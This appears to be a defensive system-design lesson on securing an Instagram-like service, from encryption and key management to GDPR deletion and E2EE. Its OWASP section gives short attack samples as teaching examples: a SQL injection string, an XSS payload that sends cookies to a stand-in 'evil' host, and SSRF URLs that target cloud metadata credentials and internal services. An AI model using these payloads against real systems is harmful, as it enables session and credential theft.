1. The problem: why is security so central for Instagram?

Instagram holds some of the most personal data people have: private photos and videos, direct messages, phone numbers and emails, who they follow, where they were when a photo was taken, and what they look at. It is also a huge target:

• Account takeover: criminals use leaked password lists from other sites ("credential stuffing") to hijack accounts, especially valuable short usernames and large creator accounts.
• Spam, fake accounts and bots: automated likes/follows for sale, scam DMs, phishing comments.
• Scraping: harvesting profiles and phone numbers at scale.
• DDoS: floods of traffic to knock the service offline.
• Application vulnerabilities: a single missing permission check can expose a private account's photos to anyone.
• Insiders and supply chain: a compromised employee laptop or third-party library.

And regulators (GDPR in the EU, many others) impose obligations — with fines in the hundreds of millions of euros — on how personal data is collected, used, retained and deleted. Security cannot be one box in the architecture diagram; it is a property of every box: the apps, DNS, the load balancer, the API Gateway (TLS, authN/Z, rate limiting), each service, every data store, Kafka, and the analytics platform.

2. The CIA triad

Two more properties are often added: authenticity (you know who you're talking to — the app really is talking to Instagram, the login really is you) and non-repudiation (actions can be proven, e.g. via audit logs). Every control in this lesson protects one or more of these.

3. Encryption in transit

3.1 TLS between apps and Instagram

TLS (Transport Layer Security, the "S" in HTTPS) gives a connection three guarantees: confidentiality (encrypted), integrity (tampering is detected) and server authentication (the certificate proves the server is really instagram.com). See Networking Basics for the handshake. In practice:

• TLS 1.3 only (or 1.2 with strong ciphers); forward secrecy via ephemeral (EC)DHE key exchange, so a stolen server key can't decrypt previously recorded traffic.
• HSTS header tells browsers to always use HTTPS for the domain, preventing downgrade attacks.
• Certificate pinning in mobile apps: the app accepts only certificates chained to keys it expects, defeating attackers who trick a phone into trusting a rogue certificate authority. Requires careful key rotation planning.
• Edge termination: TLS terminates at the nearest edge PoP (fast handshakes, see CDN), and traffic is re-encrypted from the edge to the data center — never plaintext across the internet or even the private backbone.

3.2 mTLS between services

Inside the data center, the old model was "the internal network is trusted". Modern systems assume an attacker may already be inside (a compromised host), so service-to-service calls also use TLS — and mutual TLS (mTLS), where both sides present certificates. The Feed Service proves to the Ranking Service that it really is the Feed Service, and vice versa.

• Each service instance gets a short-lived certificate (hours to days) encoding its service identity (e.g. a SPIFFE ID like spiffe://ig/feed), issued automatically by an internal certificate authority. Short lifetimes make stolen certificates nearly useless and force automated rotation.
• Identity enables authorisation policies: "only svc/feed and svc/explore may call svc/ranking"; "only svc/auth may read the password-hash table".
• A service mesh (Envoy/Istio/Linkerd sidecars) can do mTLS transparently, so application code doesn't change.

4. Encryption at rest

Encryption at rest protects data on disks, backups and object storage if the media is stolen, improperly decommissioned, or accessed outside the application. The standard cipher is AES-256 (Advanced Encryption Standard with a 256-bit key), usually in GCM mode, which also detects tampering.

4.1 KMS and envelope encryption

Encryption only moves the problem to the key. Keys must never sit next to the data or in code. A Key Management Service (KMS) — AWS KMS, Google Cloud KMS, HashiCorp Vault, or an internal equivalent backed by HSMs (hardware security modules) — holds master keys that never leave it; services ask the KMS to encrypt/decrypt small things, with every use access-controlled and audit-logged.

But you can't send petabytes of photos through a KMS. Envelope encryption solves this:

1. For each object (or shard, or user), generate a random data encryption key (DEK) locally.
2. Encrypt the data with the DEK (fast, local AES).
3. Ask the KMS to encrypt the DEK with a key encryption key (KEK) that never leaves the KMS. Store the encrypted DEK next to the data; discard the plaintext DEK.
4. To read: send the encrypted DEK to the KMS (which checks permissions and logs the request), get the plaintext DEK back, decrypt the data, cache the DEK briefly.

   ┌──────────── stored in S3 / DB ────────────┐          ┌──────── KMS / HSM ────────┐
   │  ciphertext = AES-GCM(DEK, photo bytes)   │          │  KEK (never leaves)       │
   │  wrapped_DEK = Encrypt(KEK, DEK)          │ ◄──────► │  Decrypt(wrapped_DEK)     │
   └───────────────────────────────────────────┘  unwrap  │  → DEK  (audit-logged)    │
                                                            └───────────────────────────┘
 Rotating the KEK = re-wrap the small DEKs, not re-encrypt petabytes of data.
 Destroying a user's DEK = all their data becomes unreadable ("crypto-shredding").

def store_encrypted(user_id, blob):
    dek = os.urandom(32)                                  # 256-bit data key
    nonce = os.urandom(12)
    ciphertext = AESGCM(dek).encrypt(nonce, blob, associated_data=str(user_id).encode())
    wrapped = kms.encrypt(key_id="ig/user-data-kek", plaintext=dek)   # tiny KMS call
    db.put(user_id, {"ct": ciphertext, "nonce": nonce, "wrapped_dek": wrapped})
    del dek                                               # never persisted in plaintext

Key rotation becomes cheap (re-wrap DEKs), blast radius is small (one leaked DEK exposes one object/user), and per-user DEKs enable crypto-shredding — deleting a user's key makes every copy of their encrypted data, including in backups, unreadable. That is a powerful tool for deletion (section 12).

5. Secrets management

A secret is any credential: database passwords, API keys for push providers (APNs/FCM — see Notifications), signing keys for CDN URLs and session tokens, TLS private keys. Leaked secrets in source code are one of the most common causes of breaches — public repositories are scanned by attackers within minutes of a push.

• Never in code, images or config files in Git. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, or Kubernetes secrets backed by a KMS).
• Inject at runtime: the service authenticates with its workload identity (its mTLS cert / cloud IAM role) and fetches only the secrets it's allowed to.
• Prefer short-lived, dynamic credentials: e.g. Vault issues a unique DB username/password valid for 1 hour per instance; leaked credentials expire on their own and are traceable to one instance.
• Rotate regularly and automatically; support two valid versions during rotation so nothing breaks.
• Scan commits and CI logs for secrets (gitleaks, GitHub secret scanning) and revoke immediately on detection — deleting the commit is not enough.

6. DDoS: types and mitigations

A Distributed Denial of Service (DDoS) attack uses many machines (often a botnet of hijacked IoT devices) to overwhelm a service so legitimate users can't reach it — an attack on availability.

Defence is layered from the outside in:

• Absorb at the edge: a 2 Tbps attack aimed at one anycast IP is split among, say, 200 PoPs → ~10 Gbps each, which each PoP can drop. The origin data centers never see it. This is a major advantage of the CDN/edge layer.
• WAF (Web Application Firewall): inspects HTTP requests and blocks known attack signatures (SQL injection payloads, malformed headers) and suspicious patterns (bad user agents, impossible request rates, known-bad IP reputation).
• Rate limiting at the gateway: token buckets per IP, per account and per device; tighter limits on expensive endpoints (search, login, signup).
• Make expensive things cheap: cache popular responses; require authentication for expensive endpoints; use load shedding so overload degrades rather than collapses the service.

7. Common application vulnerabilities (OWASP-style)

The OWASP Top 10 is a widely used list of the most critical web application security risks. Here are the ones most relevant to an Instagram-like system, with concrete examples and fixes.

7.1 Injection

Untrusted input is interpreted as code or a query. Classic SQL injection in a username lookup:

# ❌ VULNERABLE: input becomes part of the SQL text
q = f"SELECT * FROM users WHERE username = '{name}'"
#   name = "x' OR '1'='1"  → returns every user

# ✅ SAFE: parameterised query — input is always data, never SQL
cur.execute("SELECT id, username FROM users WHERE username = %s", (name,))

The same applies to NoSQL queries, Elasticsearch query DSL built from strings (search), shell commands (ffmpeg invoked with a user-supplied filename in the media pipeline), and LDAP. Use parameterised APIs and argument arrays, never string concatenation.

7.2 Cross-site scripting (XSS)

An attacker stores script in content other users will view — e.g. a comment or bio of <img src=x onerror="fetch('//evil/?c='+document.cookie)">. If instagram.com renders it as HTML, it runs in every viewer's browser with their session. Fixes: context-aware output encoding by default (React/Django templates escape automatically — avoid dangerouslySetInnerHTML / |safe), a strict Content-Security-Policy header that forbids inline scripts, and HttpOnly cookies so scripts can't read session tokens.

7.3 Cross-site request forgery (CSRF)

A malicious page makes the victim's browser send a request to instagram.com, which automatically includes their cookies — e.g. a hidden form that POSTs /web/friendships/<id>/follow/. Fixes: CSRF tokens (a random per-session token that must be included in the request body/header and that the attacker's page can't read), SameSite=Lax/Strict cookies, and checking the Origin header. Mobile apps using bearer tokens in headers (not cookies) aren't vulnerable in the same way.

7.4 Insecure direct object reference (IDOR) / broken access control

The most common serious bug class in APIs: the server trusts an ID from the request without checking the caller may access it.

# ❌ VULNERABLE: anyone who guesses/enumerates a media_id can see a private account's photo
@get("/v1/media/{media_id}")
def get_media(media_id, viewer):
    return media_store.get(media_id)

# ✅ SAFE: authorise every object access on the server
def get_media(media_id, viewer):
    m = media_store.get(media_id)
    owner = users.get(m.owner_id)
    if owner.is_private and not graph.is_approved_follower(viewer.id, owner.id) and viewer.id != owner.id:
        raise NotFound()             # 404, not 403: don't confirm the object exists
    if graph.is_blocked(owner.id, viewer.id):
        raise NotFound()
    return m

Instagram-style IDs are 64-bit and time-ordered (see ID generation), so they're guessable — IDs are not secrets; authorisation must be enforced on every read and write (also for DM threads, story viewers lists, archived posts). Centralise checks in a shared privacy/authorisation layer rather than re-implementing them in each endpoint; see Authentication & Authorization.

7.5 Server-side request forgery (SSRF) via image URLs

Some features make the server fetch a URL supplied by a user: "import profile picture from URL", link previews in DMs, fetching a thumbnail for a shared link. An attacker supplies an internal address instead:

http://169.254.169.254/latest/meta-data/iam/security-credentials/   ← cloud metadata: steals IAM keys
http://10.0.3.17:6379/                                                ← internal Redis
http://localhost:8080/admin                                           ← internal admin panel
http://evil.example/redirect → 302 → http://169.254.169.254/...       ← bypass via redirect / DNS rebinding

Fixes: run URL fetching in an isolated egress proxy with no access to internal networks; resolve the hostname and block private, loopback, link-local and metadata IP ranges (re-check after every redirect, pin the resolved IP to defeat DNS rebinding); allow only http/https and expected ports; limit response size and time; and on clouds enforce IMDSv2 (metadata requires a session token).

7.6 Other high-impact risks

• Broken authentication: weak session handling, missing brute-force protection (section 9).
• Security misconfiguration: public S3 buckets, debug endpoints in production, default credentials, verbose error pages leaking stack traces.
• Vulnerable dependencies: an old image library with a known exploit — use dependency scanning and fast patching.
• Excessive data exposure: an API returning a user's email and phone number in a JSON field the app simply doesn't display — scrapers will find it. Return only fields the caller is allowed to see.

8. Input validation and safe media parsing

Instagram's core feature is accepting files from strangers and processing them on its servers — one of the riskiest things a service can do. Image and video decoders are complex C/C++ code with a long history of memory-corruption vulnerabilities (e.g. "ImageTragick" in ImageMagick in 2016; a heap overflow in libwebp, CVE-2023-4863, exploited in the wild in 2023). A crafted JPEG can mean remote code execution on a media worker.

• Validate early: check size limits before upload completes (pre-signed URL conditions, see Media Upload); detect the type by magic bytes, not the file extension or Content-Type; allowlist formats (JPEG, PNG, HEIC, WebP, MP4…).
• Limit resources: cap pixel dimensions and frame counts to defeat decompression bombs (a 50 KB PNG that decodes to 50,000 × 50,000 pixels = 10 GB of RAM); CPU-time and memory limits per job.
• Sandbox the decoders: run media processing workers in isolated containers/VMs (seccomp, gVisor, Firecracker), with no network access except to fetch input and write output, and no credentials beyond that.
• Re-encode everything: never serve the user's original bytes; decode and re-encode to known-good renditions. This also strips hidden payloads and metadata (EXIF — section 12).
• Prefer memory-safe parsers where possible (Rust/Go implementations), keep libraries patched, and fuzz parsers continuously.
• Validate all other input server-side: lengths of captions and bios, Unicode normalisation (homoglyph usernames like "instаgram" with a Cyrillic "а"), allowed characters in usernames, numeric ranges. Client-side validation is for UX only — attackers call the API directly.

9. Least privilege and zero trust

Least privilege: every person, service and process gets the minimum access needed, for the minimum time. Zero trust: no implicit trust based on network location — every request is authenticated, authorised and encrypted, whether it comes from the internet or from the next rack ("never trust, always verify"; Google's BeyondCorp is the well-known example).

10. Bot, spam and abuse defence

Much of Instagram's "security" work is fighting abuse: fake accounts, automated likes/follows, spam comments, scam DMs, scraping. Attackers use real phones, residential proxies and human click-farms, so no single signal works. Defence is layered and adaptive:

• Rate limits per account, device, IP, and action type (follows/hour, comments/minute, DMs to non-followers/day) — new accounts get tighter limits until they build reputation. See Rate Limiting.
• ML classifiers scoring accounts and actions from behavioural features: action velocity, account age, graph patterns (a cluster of new accounts all following the same targets), content similarity (the same comment posted 10,000 times), and reports. Real-time scoring uses stream processing (see Analytics & ML).
• Challenges / friction when risk is elevated: CAPTCHA, phone or email verification, a "confirm it's you" step, temporarily blocked actions. Friction is applied in proportion to risk so normal users rarely see it.
• Device fingerprinting and attestation: signals that a request comes from a genuine, unmodified app on a real device (Google Play Integrity, Apple App Attest/DeviceCheck), plus device identifiers that link many accounts to one emulator farm.
• Reputation for IPs, ASNs (e.g. data-center ranges), email domains, phone-number ranges.
• Enforcement and feedback: removing fake followers and likes, disabling networks of accounts together, feeding confirmed abuse back into model training. Keep exact thresholds secret — attackers probe them.

11. Account security

• Password storage: never store passwords; store a slow, salted hash (Argon2id, scrypt or bcrypt) so a leaked table is very expensive to crack. Check new passwords against known-breached lists.
• Two-factor authentication (2FA): something you know + something you have. Authenticator-app TOTP codes or hardware keys/passkeys are much stronger than SMS (SIM-swap attacks). Passkeys (WebAuthn/FIDO2) are phishing-resistant because the credential is bound to the real domain.
• Login anomaly detection: score each login on new device, new country, impossible travel (London then Lagos 20 minutes later), known-bad IPs, many failed attempts across accounts (credential stuffing). Risky logins get a challenge or are blocked, and the user is notified ("New login from…").
• Session management: short-lived access tokens plus refresh tokens bound to the device; server-side session records so tokens can be revoked. The "Login activity → Log out" feature and "log out of all devices" after a password change must actually invalidate tokens everywhere — which requires a revocation check (a session table or revocation list consulted by the gateway/auth service, cached for seconds). See Authentication.
• Account recovery is the weakest link: attackers target recovery flows (social engineering support, SIM swaps). Use multiple verified signals, delays for sensitive changes, and notify the old email/phone when they change.

12. Privacy: GDPR rights, deletion and data minimisation

12.1 GDPR rights in system terms

The EU's General Data Protection Regulation (GDPR) gives people rights over their personal data, and each right becomes an engineering requirement:

Underlying principles: lawful basis and purpose limitation (use data only for stated purposes), data minimisation, storage limitation (retention limits), security, and accountability (being able to prove compliance). Regulators enforce with large fines — e.g. Ireland's Data Protection Commission publicly fined Instagram €405 million in 2022 over the handling of children's data.

12.2 A deletion pipeline that reaches every store

Deleting an account is not DELETE FROM users WHERE id = 42. A user's data is spread across the whole architecture diagram: their row in the User DB, posts and comments in Cassandra, photos and every rendition in object storage, cached copies on the CDN, post IDs in millions of followers' Redis timelines, the search index, DMs, likes on others' posts, follow edges in the social graph, analytics tables, ML features and training sets, logs, and backups.

1. Immediately hide: mark the account deactivated so its profile, posts and comments stop being served (API checks the flag). Optionally start a grace period during which the user can cancel — Meta's help pages describe a 30-day window for Instagram account deletion, after which deletion proceeds and can take up to about 90 days to complete across systems.
2. Record in a deletion ledger (durable, idempotent), then publish a user_deleted event.
3. Each owning service deletes its data: user row and credentials; posts, comments and likes (and decrement counters); media objects and all renditions; CDN purge for cached URLs (signed URLs expire anyway); remove the user's posts from followers' Redis timelines lazily or by filtering on read; delete documents from the search index; follow edges; DM content per the product's rules.
4. Analytics and ML: row-level deletes in lake tables (table formats like Iceberg/Delta support them), drop rows from feature stores; exclude the user from future training sets; pseudonymise where full deletion isn't feasible and the law allows.
5. Backups: either rely on bounded backup retention (e.g. backups expire after N days, documented in the privacy policy) with a process to re-apply deletions if a backup is ever restored, or crypto-shred by destroying the user's per-user encryption key.
6. Logs: short retention; user identifiers pseudonymised in long-lived logs.
7. Verify: an independent reconciliation job scans stores for data belonging to deleted users, and per-store deletion SLAs are monitored. Every new data store must register a deletion handler before launch — otherwise it becomes a silent compliance gap.

Deletion must be idempotent and retryable (handlers will crash halfway), and it must be designed for scale: deleting a celebrity's account touches hundreds of millions of timelines and likes, so it runs as throttled background work.

12.3 Data minimisation and EXIF stripping

The safest data is data you never collect. Data minimisation means collecting only what a feature needs, keeping it only as long as needed, and limiting who and what can access it. Concrete examples:

• EXIF stripping: phone photos embed EXIF metadata — GPS coordinates (precisely where the photo was taken — often someone's home), device model, serial numbers, timestamps. Instagram is widely reported to remove this metadata from published images; the media pipeline's re-encoding step (section 8) naturally drops it. Any location a user chooses to tag is stored separately and explicitly.
• Retention limits: raw IP addresses and precise location in logs kept for days, not years; analytics on pseudonymous IDs.
• Don't log content: no message bodies, passwords or tokens in logs or analytics events (see Observability).
• Field-level visibility: APIs return contact information only to those entitled to see it.

13. Audit logs

An audit log records security-relevant actions: who (human or service) did what to which resource, when, from where, and why (justification/ticket). Examples: an employee viewing a user's account in an internal tool; a change to a user's email; a KMS decrypt of a sensitive key; a permission grant; a data export.

• Append-only and tamper-evident: written to a separate system that the actors being audited can't modify (write-once storage, hash-chaining entries so deletions are detectable).
• Separate from debugging logs: different retention (often years), access and integrity requirements.
• Actively reviewed: anomaly detection (an employee viewing many celebrity accounts), periodic access reviews, and investigation support after an incident.
• User-facing audit: Instagram's "Login activity" and security notifications are audit logs surfaced to users.

14. End-to-end encryption for DMs

With TLS + encryption at rest, Instagram's servers can still read DMs (they hold the keys). End-to-end encryption (E2EE) means only the sender's and recipients' devices hold the keys; the server relays ciphertext it cannot decrypt — protecting messages even from a breach of the server or from insider access.

 Alice's phone                         Instagram servers                        Bob's phone
 ─────────────                         ─────────────────                        ───────────
 fetch Bob's public prekey bundle ◄──── key directory (public keys only)
 X3DH key agreement → shared secret
 Double Ratchet: new key per message
 encrypt("see you at 7") ──────────────► store & forward ciphertext ───────────► decrypt with own keys
                                         sees: sender, recipient, time, size
                                         cannot see: content

• The widely used design is the Signal Protocol: long-term identity keys, signed prekeys uploaded to a directory for asynchronous session setup (X3DH), and the Double Ratchet that derives a fresh key per message (forward secrecy and post-compromise security).
• What the server still sees: metadata — who talks to whom and when. Minimise and protect it.
• Hard problems: multi-device (each device has its own keys; messages are encrypted for each), message history on new devices (encrypted backups protected by a PIN/HSM-backed key vault), server-side search becomes impossible, and abuse/safety moderation must rely on user reports (which send the reported messages) and metadata signals rather than scanning content. Key verification (safety numbers) protects against a malicious key directory.
• Meta made E2EE the default for personal Messenger chats in December 2023 and has publicly said it is bringing E2EE to Instagram DMs, where it has been offered as an option; see Direct Messaging.

15. Threat modelling with STRIDE

Threat modelling is a structured way to ask "what can go wrong?" before building. Draw the data-flow diagram (clients, gateway, services, stores, trust boundaries), then for each element and each boundary walk through Microsoft's STRIDE categories:

Quick guide: (1) diagram the feature and mark trust boundaries (internet ⇄ edge, service ⇄ service, service ⇄ third party); (2) list STRIDE threats per element; (3) rate them (likelihood × impact); (4) decide mitigations, accept or transfer the rest; (5) revisit when the design changes. Doing this for "import profile picture from URL" would surface SSRF immediately.

16. How Instagram applies security & privacy

Mapping the lesson onto the main architecture diagram:

• Clients: TLS with pinning; tokens stored in the OS keystore; device-integrity signals sent with sensitive actions; 2FA and login notifications.
• DNS / CDN / edge: anycast edge absorbs volumetric DDoS; signed, expiring media URLs; WAF and bot signals.
• API Gateway: authenticates every request, enforces per-user/IP/device rate limits, and rejects malformed input early.
• Services: centralised privacy/authorisation checks (private accounts, blocks, close friends, restricted accounts) on every read; parameterised queries; output encoding on the web.
• Upload & media processing: pre-signed URLs with size/type constraints; sandboxed decoders; re-encoding that strips EXIF; integrity/abuse classifiers.
• Data layer: encryption at rest with KMS-managed keys; per-service DB grants; audit-logged employee access; backups with bounded retention.
• Kafka & analytics: deletion events fan out to every consumer; analytics on pseudonymised IDs; abuse-detection models trained on behaviour signals.

Rough numbers (assumptions)

Login attempts: 50k/s at peak; credential-stuffing bursts can add 10× from millions of IPs
  → per-account + per-IP + per-device limits, plus ML risk scoring in < 20 ms per login
DDoS: 2 Tbps volumetric attack ÷ 200 anycast PoPs ≈ 10 Gbps per PoP → absorbed at the edge
Deletion: 1M account deletions/day × ~10 stores ≈ 10M deletion tasks/day ≈ 115 tasks/s (bursty)
KMS: envelope encryption → 1 KMS call per new object/user key, not per byte; DEKs cached briefly

17. Trade-offs & common pitfalls

Common pitfalls

• Trusting the internal network or the client (client-side validation only, hidden fields, "the app would never send that").
• Authorisation checks scattered per endpoint — one forgotten check = IDOR. Centralise them.
• Secrets in code or logs; long-lived static credentials.
• Fetching user-supplied URLs from servers with access to internal networks (SSRF).
• Parsing untrusted media in unsandboxed, unpatched libraries.
• Deleting from the primary DB only — leaving copies in caches, search, the CDN, analytics and backups.
• Encryption with the key next to the data, or without rotation.
• Session tokens that can't be revoked, making "log out everywhere" a lie.
• Security as a final review step instead of threat modelling during design.

18. Real-world technologies

19. Interview corner

20. Check your understanding

Related lessons

• Authentication & Authorization — tokens, sessions, OAuth and permission checks
• Networking Basics — how TLS works
• Rate Limiting — throttling abuse and L7 DDoS
• API Gateway — where TLS, authN/Z and limits are enforced
• CDN — signed URLs and edge DDoS absorption
• Media Upload and Media Processing — validating and safely parsing untrusted files
• Direct Messaging — where E2EE applies
• Multi-Region & DR — data residency and backups
• Monitoring, Logging & Tracing — keeping PII out of logs; audit vs debug logs